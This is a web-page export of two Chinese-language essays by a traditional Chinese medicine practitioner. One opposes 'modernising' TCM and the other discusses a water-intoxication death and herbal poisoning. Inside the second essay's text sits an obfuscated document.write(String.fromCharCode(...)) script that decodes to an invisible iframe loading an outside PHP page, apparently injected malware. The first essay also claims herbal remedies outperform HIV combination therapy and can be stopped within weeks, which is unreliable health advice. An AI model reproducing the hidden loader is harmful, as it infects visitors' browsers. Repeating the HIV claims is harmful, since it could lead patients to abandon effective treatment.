顯然，如若僅僅只是為了走向世界而輕易改變自己的説法是站不住腳的，好的東西人們都會爭相學習，而無需自己去主動改變。應該明白，世界所認可的是中醫，是具有顯著臨床療效的中醫，是原有的傳統中醫；如若我們自己將中醫學說“科學化”、“現代化”了，也就等於失去中醫學說的原汁原味，更因此而失去中醫臨床的顯著療效。就像“平衡醫學”一樣，一個醫學學術體系失去其特色就意味著死亡，沒有特色的醫學根本就不值得人們推崇。所以對於中醫學説來說，只有世界俯就中醫，而絕非中醫去俯就世界。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	臨床顯示，硬性推行“中醫藥現代化”屬於不尊重中醫學術規律的“暴政”，也根本不可能<br />
取得成功。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"></p>
<p>筆者想，如若需要硬性地推行“中醫藥現代化”的話，我們中醫業界可能只有兩條路可以走得通：一是“脫胎換骨”，二是“妾身俯就”。<br />
所謂“脫胎換骨”，就是像“平衡醫學”一樣，徹底地擯棄中醫學說的學術理念、轉而以解剖學、胚胎學、分子生物學等學術理論作爲中醫藥療法的指導核心。筆者以爲，這樣做或許是任醫師所堅決反對的，因爲她始終堅持認爲，“否定中醫藥，其實就是否定中華民族的歷史，就是否定中華民族的文明和文化”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而所謂“妾身俯就”，就是捨棄中醫學說理論，而只是將中醫藥療法歸屬於西醫的學術體系，也就是說，改造中醫藥療法以適應於西醫臨床。正如前述，慾與現代科技緊密結合的醫學是繞不過西醫的，“俯就”的結果，中醫就僅僅只能是西醫學術體系中的一種療法而已，而根本就談不上形成什麽“新醫學”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，所謂“妾身俯就”，就是在臨床上推行“西醫診斷&#8212;中醫治療&#8212;西醫鑑定療效”的[中西醫結合]的荒唐治病模式，問題在於目前發現，這種模式由於受到學術規律的限制、已經被卡住了脖子而無法深入進行。記得在文化大革命中曾經就有人吹噓過中醫藥療法解決了慢性肝炎的“大三陽”問題，但時至今日，筆者依然還是沒有見到值得在臨床上推廣的有效中醫藥治療。<br />
面對西醫的糖尿病也是這樣，無數的中醫論文宣稱其已經控制空腹時血糖指數達到什麽什麽程度，其已經治愈多少多少糖尿病案例等等；但遺憾的是，筆者同樣也沒有見到值得大力推廣的有效“標準處方”。顯然，[中西醫結合]的學術瓶頸並沒有得到有效的突破，其根本原因就在於這種[中西醫結合]治病模式違背著中西醫醫學的學術規律。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，中醫藥療法的制定只是為著改變患者的“病態證型”、而不是為著改變西醫檢驗數據的，而“病態證型”的確立屬於中醫臨床的學術診斷，它也是一種無法通過實驗室檢驗、無法通過數據反映的模糊學術概念。而所謂的“大三陽”、“血糖指數”等檢驗數據都屬於西醫臨床的診斷依據，由於二者分屬於兩個不同的醫學學術體系，而且二者之間並不存在必然的學術共性，因而這樣的一些檢驗數據通過中醫藥療法治療並不一定都能得以改善。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
臨床療效顯示，通過中醫藥治療，某些患者的檢驗數據或許可能得以改善，但不可忽視的是，還有更多案例的檢驗數據並沒有因此而得到改善，而重要的則是其“有效幾率”並不能達到值得在臨床推廣的標準。也就是說，中醫藥療法對於改變西醫的檢驗數據並不存在有使用價值的穩定療效。上述表明，即使中醫願意“妾身俯就”，也並不見得一定就能夠“嫁”得出去。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
“中醫藥現代化”也改變著傳統的臨床用藥方式。大量的中藥注射製劑的出現，正嚴重地危害著廣大民衆的身體健康與生命安全，相關報導不斷在向社會提示，包括“魚腥草注射液”、“刺五加注射液”、“茵梔黃注射液”、“雙黃連注射液”等在内的許多中藥注射製劑的臨床使用，先後都曾經出現過不同程度的藥物中毒反應、甚至死亡事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
問題在於事故發生之後，相關部門不從“中藥西用”這種“中醫藥現代化”&#8212;&#8212;將中藥製劑直接進行靜脈注射的離奇用藥方式去追究問題的根本，卻只是敷衍著查找藥物的污染問題。而有報導揭示，湖北省藥品不良反應檢測中心在10月9日所公佈的報告中指出，該省150宗因注射[刺五加注射液]而出現不良反應的案例，並沒有使用此次被衛生部所通報的那兩個批次，而是涉及完達山藥廠所生産的其它批次的注射液、以及另外兩個藥廠所生産的[刺五加注射液]。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
上述問題説明，中藥的使用應該遵循中醫的用藥法則，隨意改變中藥的給藥方式為靜脈注射屬於醫學上人爲的失誤。事實上，如若將上述中藥依照内服、外敷等中醫傳統的給藥方式使用，根本就不可能出現上述醫療事故（詳情請參閲拙文“從[刺五加注射液]中毒死亡事故談起”，載於《加州針灸中醫師公會》2009年10月會刊）。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
綜上所述，由於中西醫學説之間存在著難以融合的學術思維差異，“中醫藥現代化”應該只是一個非常動聽的辭藻而已，前者筆者曾聼中國中醫司王國強司長介紹說衛生部打算建立16個所謂的“試驗基地”，其宗旨則是依照西醫病名（如糖尿病等）分門別類，以找尋有效的“標準處方”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
或許許多人以爲這是在弘揚中醫藥療法、挽救中醫事業的”救世”做法，但筆者對此的確不敢苟同。筆者以爲這種做法還是在推行為西醫臨床建立一套有效的中醫藥治療方案的那種“結合”老套，也就是所謂“中醫現代化”、“中醫西醫化”更大的舊版本。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
問題在於類似的做法已經在[中西醫結合]運動中重復作過無數次，筆者以爲，這是文化大革命之後又一次較大地勞民傷財的無效做法，也是再一次重復走[中西醫結合]運動所走過的不歸之路，可以說這種將中醫藥療法“現代化”到西醫臨床診治疾病的學術體系之中的做法根本就不可能獲得學術意義上的真正成功，而只會更加嚴重地傷害傳統的中醫事業。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，如其將大筆的財力人力投入到這種“夢想”的浪費之中，遠不如做點實事、放手讓傳統中醫可以自行發展，似此或許還可以藉以舒緩廣大民衆“看病難”的困境。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
近期筆者曾讀過一篇報道（詳見《世界日報》07/19/2010A4版）說，臺灣11名中醫師合資在北京開設了“天承金象中醫診所”，在短短的三個月内就打開了局面，“逐漸獲得大陸人信任，包括外省市民衆，甚至部分高官都前來應診。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
本來開設一間中醫診所是一件非常小的事情，但值得注意的是幾位並不十分出名的臺灣中醫師，竟然在[中西醫結合]院士、中醫博士導師、專家、教授雲集的北京打出一片小天地，這個現象本身就非常值得探討。筆者以爲，這個現象所揭示的問題具有十分深遠的現實意義。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
首先，這個現象説明中國民衆渴求得到傳統中醫藥療法的幫助。恰如該診所負責人謝茂源所言：“病患相信臺灣承襲了中華傳統文化，臺灣的中醫比較正統才來看病。”事實上，這些中醫師中有許多人都曾經是中國中醫院校的學生，爲什麽在人們眼裏，他們才算得上“正統”呢？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，這説明當前中國的中醫業界所流行的[中西醫結合]行醫方式受到人們的普遍質疑。其實這也難怪，中國民衆都知道中醫臨床治病是採用“望、聞、問、切”，不是中國中醫門診那種普遍採用的查看檢驗數據的西醫診斷方式。再者，由於[中西醫結合]療法很難取得原有的中醫臨床療效，使得民衆花掉大把檢驗費卻得不到傳統中醫療法的幫助，他們當然都會清醒過來。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
其次，[中西醫結合]所帶來的管理混亂衝擊著中醫市場，民衆在正規中醫門診得不到幫助時，很容易去相信那些根本就不懂得中醫學說的“大師”們的欺騙。當他們再次清醒過來之後，他們就會執著地去尋求傳統中醫師的幫助。這就是現實，這個現象説明中國的中醫現狀是不受民衆歡迎的，中醫就必須是傳統的中醫。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	何大一先生只能算是西醫業界的精英。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"></p>
<p>任醫師在文章中有兩次提到何大一先生的雞尾酒療法，認爲其“正是由於採納了中醫藥的基<br />
本治病原理而大獲成功的”，並要求人們不要忘記他“為弘揚中華文明文化、促進中醫藥發展所作的貢獻”。<br />
筆者以爲，任醫師的上述説法既模糊、又言過其實。其模糊之點在於她將中西醫的基本治病原理混淆在一起而難以分辨清楚。正如該文章所言，何大一先生創立“雞尾酒療法”、只是由於“中國傳統的文化文明和對中醫藥的認知，給了他靈感”才得以實現的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
什麽“靈感”？就是受到中藥方劑組方的啓發而已，或許他從中藥方劑的組方形式中領悟到，如若將幾種藥物組合在一起，其臨床效用或許會大過藥物的單獨使用。經過試用，這種臨床用藥思維對於艾滋病的治療能夠起到一定程度的治療效用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，這只能夠説明何大一先生為西醫治療艾滋病找到一種相對有效的治療方法，在普世對於艾滋病治療絕望的情況之下，這種療法無疑地會被推崇，何先生一舉成名而成爲世界知名人士，就連中國醫學界都把他供奉為艾滋病治療方面的泰斗。<br />
這裡應該特別強調的是，何大一先生的“雞尾酒療法”只是仿中醫藥學的組方形式而已，與中醫的“基本治病原理”根本就不是一回事。中醫藥的治病原理是“整體調節”、“辨證論治”，“雞尾酒療法”屬於“局部對抗”、“辨病論治”；中醫藥的組方原理為“君、臣、佐、使”，中藥的使用原理為“四氣”“五味”，從治病原理上來說，應該與“雞尾酒療法”毫不相干。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外，“雞尾酒療法”的臨床療效遠遠不如中醫藥療法。“西方國家承認，目前普遍使用的‘雞尾酒療法’並沒有解決艾滋病問題。一則其治愈率”不過40%左右，二則毒副作用太大，約40%患者因爲難以忍受而寧死不再服用；三則有嚴格的適應期，只能在發病後的某一階段服用，否則，或導致提前發病，或導致更快死亡；四則不按時、按規定服用會導致病毒產生耐藥性，已報到出現新的耐藥株；五則必須終生服藥；六則必須配用其他藥物來解決患者的機會性感染。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
“與此相比，民間中醫採用的中藥治療優勢相當明顯。”“艾滋病患者厭食和腹瀉是生存的兩大障礙，民間中醫解決這兩大難題效果好。80%的患者在服用中藥後的三五天普遍能吃飯，而且消除了腹瀉症狀，一個月即可參加體力勞動，使這些人都能夠像健康人一樣活著，能吃能睡能勞動，能上養老下養小。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
“民間中醫治療近600名患者，沒有發生過毒副反應，沒有患者因中藥毒副反應而停藥。”“中醫藥防治艾滋病，一般患者服用少則13-23天即可停藥，多則9個月或1年即可停藥，無須終生服用。”“在HIV感染後的潛伏期内中醫就可以開始治療，不像西藥那樣必須等發病後CD4+細胞降到150-350時才能服用（上述均摘自《中醫戰略》，賈謙等著）。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
上述顯示，中醫藥治療艾滋病、對於艾滋病症狀的改善有著不可否認的顯著療效，起碼來説，中國河南省“艾滋病村”接受中醫藥治療的艾滋病患者中許多都已經恢復成爲可以自食其力的艾滋病毒帶原者，這種療效是目前“雞尾酒療法”還遠遠達不到的。<br />
我們從以上論述可以看到，何大一先生只是從中醫組方原則中得到一點啓發而已，他只是一位優秀的西醫學者，但並沒有對於促進中醫藥發展作出多大的貢獻，而真正做出貢獻的人則是廣大的海外中醫業者，他們對於推廣中醫起到關鍵的作用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外我們不應該忘記中國大陸許多民間醫生，是他們在“違法行醫”、以無可辯駁的事實證實中醫藥療法治療艾滋病的臨床優勢遠遠高於“雞尾酒療法”。只可惜他們所用的傳統中醫藥療法實在是太“土”了、也太古董了、更是太不“現代化”了；而且中醫藥療法的臨床療效標準本來就不包括有效地殺滅艾滋病毒（事實上“雞尾酒療法”同樣也沒有完全殺滅患者體内艾滋病毒）。<br />
有鑒於此，中醫藥療法“變艾滋病患者為艾滋病毒帶原者”的顯著臨床療效當然會被中國衛生當局所否定、而無法在中國用來幫助艾滋病患者。人們不禁要問，能夠如此幫助世界性疾病的中醫藥療法為什麽就不能被中國衛生當局所推廣應用呢？難道說這些不是不尊重中醫學術規律的醫學學術“暴政”嗎？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"></p>
<p>總之，既然“中醫科學化”、“中醫現代化”、“中醫西醫化”對於傳統中醫事業構成極大的傷害，那麽，我們爲什麽還要去趕那種“時髦”而讓自己困在[中西醫結合]的死胡同裏呢？筆者以爲，對於中醫事業的發展問題，我們不妨從牛角尖裏退回來、並轉換一個思維，那就是尊重中醫學說的學術規律。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
歷史表明，在不具備先進科學技術的古代，中醫能夠順利產生、蓬勃發展、近乎完善；而處於當今科學技術飛速發展的現代，照理來説中醫事業的發展應該更為快速纔是。而且，中國當局一直都在強調發展中醫這個國寶，甚至不惜傾全國之力來幫助發展中醫，照理來説中國的中醫事業應該蒸蒸日上、更爲壯大纔是。但是沒有。中國的傳統中醫事業不進反退，已經頻臨滅絕的邊緣。<br />
這個極其嚴重的事實告誡我們，對於傳統的中醫事業來説，“中醫科學化”、“中醫現代化”、“中醫西醫化”、“中西醫結合”為一條罪惡的不歸之路，必須引起我們的警惕；近幾十年的中醫發展史已經顯示，越是推行“中醫科學化”、“中醫現代化”，傳統的中醫事業也就越是凋零。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實表明，中醫事業根本就無需“科學化”，它顯著的臨床療效早就已經顯示出它的科學性，只不過它不屬於“科學主義者”們所認可的那種“科學”罷了。中醫藥療法也無需“現代化”，因爲中醫藥療法的發展都是緊緊地跟隨著時代的步伐而發展壯大的。中醫學説更不需要“西醫化”，因爲中西醫學説分屬於“虛”與“實”兩种完全無法融合的學術思維體系，更何況在治療各種所謂的“疑難雜症”、“絕症”、“新性疾病”、以及人體養生保健等方面，中醫的臨床功效遠比西醫更勝一籌。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
當然，借助許多現代科學技術成果更能夠促進傳統的中醫事業發展，只不過這種借助只能處在必須堅持傳統中醫學術思維體系的大前提之下，也就是說“中醫藥現代化”的最終目的只能是促進發展傳統的中醫事業、而不是走“平衡醫學”覆滅的老路。因此，我們中醫既不需要“脫胎換骨”，也不應該“妾身俯就”，中醫的發展只能夠依據中醫自己的學術規律運行，而絕對不是那些什麽“中醫科學化”、“中醫現代化”、“中醫西醫化”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說中醫學說的存在並非出自於誰的恩賜，而是由它的社會價值所決定的，筆者對於傳統的中醫事業一點也不悲觀。筆者以爲，即使全中國的中醫都“現代化”、“科學化”、“西醫化”了也不要緊，古代的經典中醫書籍都還在，還會有許許多多的中醫怪傑相繼出現，因爲中醫學術理論所指導之下的中醫藥療法的社會價值實在是太吸引人了。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
或許這就是筆者關於“中醫藥現代化”的逆向思維吧，而今筆者借助與任麗萍中醫師商酌的機會與廣大中醫同道探討這個話題，期待著大家共同努力構築我們偉大的中醫事業。筆者始終認爲，中醫事業應該是屬於我們中醫業者的，是屬於相信中醫藥學的廣大民衆的；所以針對“中醫現代化”、“中醫科學化”、“中醫西醫化”的雜音，我們應該以“中醫藥回歸傳統化”來回應，因爲只有回歸傳統，中醫藥療法才能發揮原有的顯著臨床療效，中醫事業才有可能真正有前途。</span></p>
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		<title>從水中毒死亡案例談起</title>
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		<pubDate>Fri, 18 Jun 2010 01:37:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 据報道，前者加州沙加緬度28歲婦女珍妮佛•李•史崔奇（Jennifer Lea Strange）在參加廣播電臺舉辦的喝水比賽中由於喝水過量導致急性水中毒而死亡，沙加緬度高等法院陪審團裁定沙加緬度娛樂通訊公司負有不可推卸的責任，應該賠償死者家人1657萬7118元。 水中毒導致人死亡的概念是很難被人們接受的，因爲水對於人體實在是太重要了。我們知道，人的身體中所佔比重最大的成分就是水，所以說人不能離開水；一段時間不吃東西人體尚能存活；如若在相同的時間之内得不到水的補充，人體就會出現衰竭而死亡。 在電臺2007年舉辦的任天堂Wii電玩機贈獎喝水比賽中，珍妮佛總共喝下2加侖的水。在領到獎品之後，她的臉色變得慘白，雙眼充滿著淚水，她哭著打電話告訴同事，說自己頭痛欲裂、反胃慾嘔，無法上班；隨後人們發現她死在家中的床上。據説住在勝利谷（Victorville）的男子大衛•葛羅斯（Dave Gross）也曾於2006年參加過廣播電臺舉辦的喝水比賽，獲勝之後也大病一場，所幸沒有送命。 顯然，珍妮佛過量飲水、中毒死亡的悲劇在於人們不懂得過量飲水有可能給予身體以致命傷害的道理，他們只是錯以爲水既無毒、多飲應該無所謂，頂多只會使肚子脹一會兒而已，排出去就沒事了。前段時間，有人經常鼓吹早上起床之後讓自己多喝幾大杯水，以爲這樣可以幫助排除身體内部的毒素。 事實上這種説法並不符合人體的客觀規律。其一，人體的本身就具有一套完整的排毒系統，在正常的生理條件之下，根本就無需通過大量飲水來刻意排毒。其實最好的排毒方法就是維持機體自身的排毒功能，這需要使自己保持正常的生活規律才能做得到。其二，對於身體來説，只有在身體處於需要的狀況之下，適量補充水分才屬於正確的選擇，那種刻意大量飲水的做法只會人爲地、不必要地加重腎臟、以及其它臟腑組織器官的負擔。 我們知道，在正常情況之下人的身體具有非常有效的相應協調性能。譬如當你的身體處於濕邪困脾的狀態時，你就會感受到口味不佳，嘔惡，不慾食等不適感覺，此時的你如若勉強吃飯、也會自然而然地想吃點辣椒之類的重口味食物。 當你的身體處於脾腎陰虛之時，你就會感覺到口渴，此時你自然就會出現想喝水的願望。而且，當你的身體處於熱性體質狀態時，你就會想喝涼水、冰水；當你的身體處於寒性體質狀態時，你就會想喝溫水、熱水。所以說，當你處於暫時還不存在喝水願望的時候，刻意地強迫自己大量喝水的做法是不可取的，因爲這樣做違背著自己身體本身的自然調節規律。 水中毒的死亡案例給了我們許多的提示。首先它告誡我們，拿出自己寶貴的身體與生命作爲賭注是非常不值得的；喝水比賽如此，那種所謂的“大胃王”比賽也是如此，那些挑戰生存極限、運動極限的比賽更是如此。我們應該認識到，即使博得這種比賽的世界冠軍又怎麽樣，到頭來縱然沒有失去生命，由此而導致的身體傷痛也將會折磨自己一輩子，完全可以説是得不償失。 水中毒的死亡案例還提示我們，如若使用不當，任何食物（無論其有毒與無毒）都有可能傷害到人體、乃至生命，更不用説那些用來治病的中藥。目前，對於不當使用中藥會導致中毒的問題，由於缺乏專業知識的認知，許多人都存在食用沒有毒性的食物與中藥不會對身體造成傷害的觀念。 這種觀念當然是極端錯誤的。依據中醫的學術理論，有可能給身體造成傷害的東西並不一定在於其是否含有什麽毒性成分、而主要在是否適用於你身體的問題。同時，對於有毒食物與藥品的食用，人們一般都會特別警惕，而對於不含毒性成分的食物與藥品、人們則往往會忽視其對於身體的危害性。 這個問題的存在實在是太普遍了。譬如：現代人最爲擔心、也很容易患上的高血脂、高膽固醇等疾病的產生，就是由於患者長期飲食不當所導致而出現的慢性中毒。事實上，目前飲食習慣的“現代化”正在嚴重地危害著人類，這種不良的生活習慣正在慢慢地消耗掉人類的身體素質。 我們知道，現代人飲食的常態就是早餐基本上不吃，中餐隨便混一下，晚上回到家裏與家人團聚一起吃大餐、有時甚至還要宵個夜。顯然，這種飲食習慣對於人體的傷害是很大的。 早、中餐不吃好，你一天工作所消耗的能量從何而來？如若沒有適量進食，肯定就只會消耗掉身體自身原有的健康儲蓄。而在晚上並不需要消耗大量能量的情況之下，進食大餐的結果必然會導致機體營養過剩；況且到了晚上，機體胃腸的消化、吸收能力一般都處於較弱的狀態，故而晚餐所進的大量食物大多數都會變成爲垃圾而堆積在體内，使得身體出現高血脂、高膽固醇狀態。似此，無毒的食物也就變成了慢性毒藥而不斷地傷害著人體。 所以說，不當地使用無毒的食物與藥品都會傷害到人體。事實上無毒的米麵同樣也可以成爲殺人的毒藥，這是許多人都知道的常識。譬如對於過度飢餓的人來説，飽食米麵的後果必然會導致死亡；也就是說，對於過度飢餓的人來説，過多的食物就是可能會導致死亡的毒物。 document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62)) 所以說，食物與藥品有毒無毒應該不是問題的主因，日常生活中所出現的中毒問題基本上都屬於使用不當所導致。事實上，人們對待中藥中毒問題的觀念同樣也存在著類似的不恰當偏見，前者不少中藥中毒的臨床案例常常被某些有心人士大炒熱炒，毫無道理地將中藥中毒的主要責任完全歸咎於中藥的毒性問題，一時間曾被他們閙到人們一聽到需要服用中藥就會感到害怕。 依據這些人對待中藥中毒的邏輯思維來看，這類死亡案例的責任不應該追究其食用方式是否得當，而只應該追究這些中藥是否含有毒性、是否存在變質等問題。如若依據這種邏輯，珍妮佛•李•史崔奇水中毒的問題也只應該在水的毒性問題上打圈圈，而不應該追究喝水比賽舉辦者的責任。 顯然，這是一種非常不切實際的思維邏輯，如若僅從毒性成分的角度來分析，他們當然不可能找到正確的答案與解決方法。人們常常注意到，許多人在盲目地服用人參、白木耳、冬蟲夏草等中藥之後，不但沒有達到培補身體的初衷，反而會導致出現各種相應的不適反應。事實上，無毒的中藥出現中毒反應的道理也很簡單，屬於中醫關於“藥不對證”而中毒的學術範疇。 我們知道，水是用來補充身體水分缺乏的，過量有可能導致死亡；而中藥屬於中醫師臨床治病的藥物，因而也只能依據“四氣”“五味”的中醫學術規律來認知，只能依據中醫臨床診治疾病的“辨證論治”學術規律來使用，任何違背上述學術規律來使用中藥的結果，極有可能出現藥物中毒現象。 此外，由於人們沒有將中醫學說當成一門獨特的醫學來認識，所以常常將西醫的學術理念用來指導中藥的臨床使用，其結果必然導致中藥中毒醫療事故的發生。譬如前者發生在比利時的某西醫師亂用中藥減肥而導致多人腎衰竭、一人死亡的嚴重醫療事故，人們在看待這個問題時，只願意將中藥的毒性作爲中毒的主因，而不願意去追究肇事元兇&#8212;-不依據中醫藥學術規律使用中藥的問題。 這是一個普遍存在的問題，中國大陸許多中草藥被製成注射劑型而使用於臨床，不斷地出現中毒死亡的醫療事故，可是相關部門卻只願意從這些製劑是否被污染的角度來看，而不願意追究其肇事主因&#8212;&#8212;“中藥西用”的問題。 人們都知道，西藥主要源於人工合成，而中藥主要源於自然生成，這些動物、植物、礦物類東西被中醫師用於臨床治病，那麽它就成爲中藥；如若不然，這些東西也就只是大自然中的一些動物殘骸、野果雜草、石頭化石之類的東西。 對於這樣一些東西，如若在依據中醫藥學術原理的使用過程中出現問題，那麽可以認爲那是屬於中醫藥本身的毒性問題；而該西醫生擅自將其拿去做成減肥的“苗條丸”胡亂使用，給人減肥而導致病人死傷，這與中醫藥有什麽關係呢？ 所以說，如若中藥中毒屬於非中醫業者自己胡亂使用，其責任當然不應該歸罪中醫中藥；如若中藥中毒屬於中醫師臨床治病所導致的問題，那當然就應該追究中醫師個人的法律責任，正如近期在英國發生的“中醫師”吳英而遭到法律起訴案件，吳某身為中醫業者，卻不依據中醫藥學術規律亂用中藥、從而導致患者出現腎衰竭、膀胱腫瘤的醫療事故（詳見拙文《法律的警示》）。 顯然，這種不去追究中藥的管理與使用的現象是極不正常的，某些人在不懂得尊重中醫學說學術規律的前提下，將幾乎所有的中藥都用西藥的成分分析方式來理解與對待，甚至給麥門冬這樣的一類中藥都冠以含有毒性成分的標簽，這種做法既可以説是莫名其妙，同時也嚴重地傷害著人們使用中藥治病的權利。 對於上述水中毒死亡的案例，西醫學術理論認爲，雖然水不含毒性成分，但是喝水太多會造成血液中的鈉離子稀釋，導致電解質失調，造成腦部腫脹、心跳停止。水中毒的症狀包括頭痛、眼花、噁心、全身無力等等。 雖然西醫能夠依據其學術理論中剖析出水中毒的病理，但是水的分子結構H2O實在是太簡單不過，比較容易得出相關的學術結論。如若面對複雜的中藥有機分子結構，採用毒性成分的學術理念、或許就不那麽容易做出相應的病例分析。況且，對於中醫藥關於“藥不對證”而中毒的相對毒性理論，是根本就無法借用西醫藥學術理論來詮釋的，因爲許多中藥都和水一樣，並不一定含有西醫所認定的毒性成分。 所以說，將中藥飲片西醫化爲“有效成分”與“毒性成分”的做法是徒勞無功的，在臨床使用中藥治病的過程中，傳統中醫師一般只會依據中藥的“四氣”、“五味”等特性來辨證用藥，而西醫師也無法依據中藥的成分分析結論來指導使用中藥，故而筆者會認爲將中藥“成分化”毫無意義。 由此可以看出，中藥不是西藥，中醫師臨床使用中藥並不需要關注中藥含有哪些毒性成分，所需要的只是在用藥之時、必須嚴格遵循中醫關於對證的學術規律。所謂對證其實很簡單，就是寒藥治熱病，熱藥治寒病；補藥治虛證，瀉藥治實證，以及表藥治表證等用藥法則；如若未能遵循上述用藥規律，即可稱之為藥不對證。 上述中醫學術規律既適用於含有所謂毒性成分的中藥，同樣也適合於不含所謂毒性成分的中藥，許多人不恰當地服用人參、白木耳、冬蟲夏草而導致中毒的案例都能夠證實這個問題。顯然，如若依據西藥有效成分的藥理來分析，上述中藥的本身並不含有所謂的毒性成分，所以這類中毒案例就如同上述水中毒一樣地不可思議。 如若運用中醫藥的學術理念，這類無毒中藥中毒的案例就很容易理解了。正如前述例證，中醫臨床對於中醫理論所認定的熱性體質患者的治療，一般都應該使用寒性藥物，如若此時不當地使用熱性藥物，則無異於火上加油，必然會加重患者的熱性體徵而出現中毒反應。 由此可以看出，如同西藥一樣，中藥中毒的主要問題應該歸咎於使用不當，也就是說在使用中藥時沒有尊重中醫學說的用藥規律；這個問題同時也提醒我們應該加強中藥“專藥專用”的管理措施，以杜絕中藥中毒事故的頻繁發生。 綜上所述，我們應該重視水中毒案例給我們的警示，因爲這個警示是多方面的。說句實話，拿自己最寶貴的身體與生命來博取那點獎品之類的做法是非常不明智的。而且，舉辦以有可能傷害到參賽者身體與生命的任何超越極限的比賽活動來促進商業效應的做法都是不道德的，應該予以堅決抵制與禁止。 事實上，類似的超量比賽一直都在進行，譬如所謂的“大胃王”比賽、生存極限比賽、運動極限比賽等等。可以說，所有類似的比賽都只是商業行爲，根本就沒有尊重人體的正常生命規律，因而必然會給參賽者帶來相應的身體傷害。 筆者曾經觀看過許多超越極限的運動，每當看到當事者的身體受到嚴重撞擊的時候，筆者就會自然而然地想到若干年之後這些人身上所必然出現的痛苦神情，心中總是一陣陣發緊，希望能夠勸阻他們不要將自己寶貴的身體當作賭注的籌碼。筆者當然知道自己是在杞人憂天，在物欲橫流的社會中，不會有多少人能夠聼得進筆者幾近迂腐的學究聲音。 不過我們應該懂得，世界上的任何事物都存在著自己的規律，刻意違背規律的結果，必然會受到相應的懲罰。譬如科學的發展導致人們對於商業利潤的重視，過度的掠奪性開發有可能導致全球氣候、地理環境的極大惡化，除了導致冰川融化、大量吞食陸地面積之外，還使得自然災害頻頻發生，嚴重地危害著人類的生存。而今，許多聰明人終於警覺到世界的沒落，他們也都正在大聲疾呼保護環境的重要性。 在現代社會中，類似的思維實在是太普遍了，舉不勝舉，西藥的大量使用也是這樣。譬如過度地依賴激素治病，除了帶給人體器官組織造成相應的傷害之外，還會使得兒童的發育出現異常，嚴重地影響到人類的繁衍。抗生素也是這樣。濫用的結果，除了催生大量的抗藥病原體（包括病毒、細菌等）之外，還會使得患者體内的有益菌群大量死亡；而且相關報導顯示，上述藥物的污染甚至已經影響到南極洲。顯然，上述西藥的使用及其副作用、也都嚴重地違背著身體與大自然的正常規律。 在人類的思維中，急功近利常常屬於許多人的第一選擇，因而進行掠奪式地開採基本上已經成爲社會的主流，其開採的對象包括人的身體、名聲、倫理、道德等等，當然包括世界上一切具有商業價值的東西。 從上述論述中，筆者對於中醫藥的學術規律似乎有了更深一點的認知。筆者以爲，所謂中醫，並非專指“中國的醫學”，因爲中國的醫學實在太多，不同的民族都有著自己的醫學，譬如藏醫、蒙醫、壯醫、苗醫等等，所以這種説法並不貼切。如若從學術的角度來看，中醫的稱呼應該理解為“中庸之醫”，即維繫身體陰陽平衡、五行相生相剋正常生理狀態的醫學。 既為中庸，則必然強調“勿太過”，也 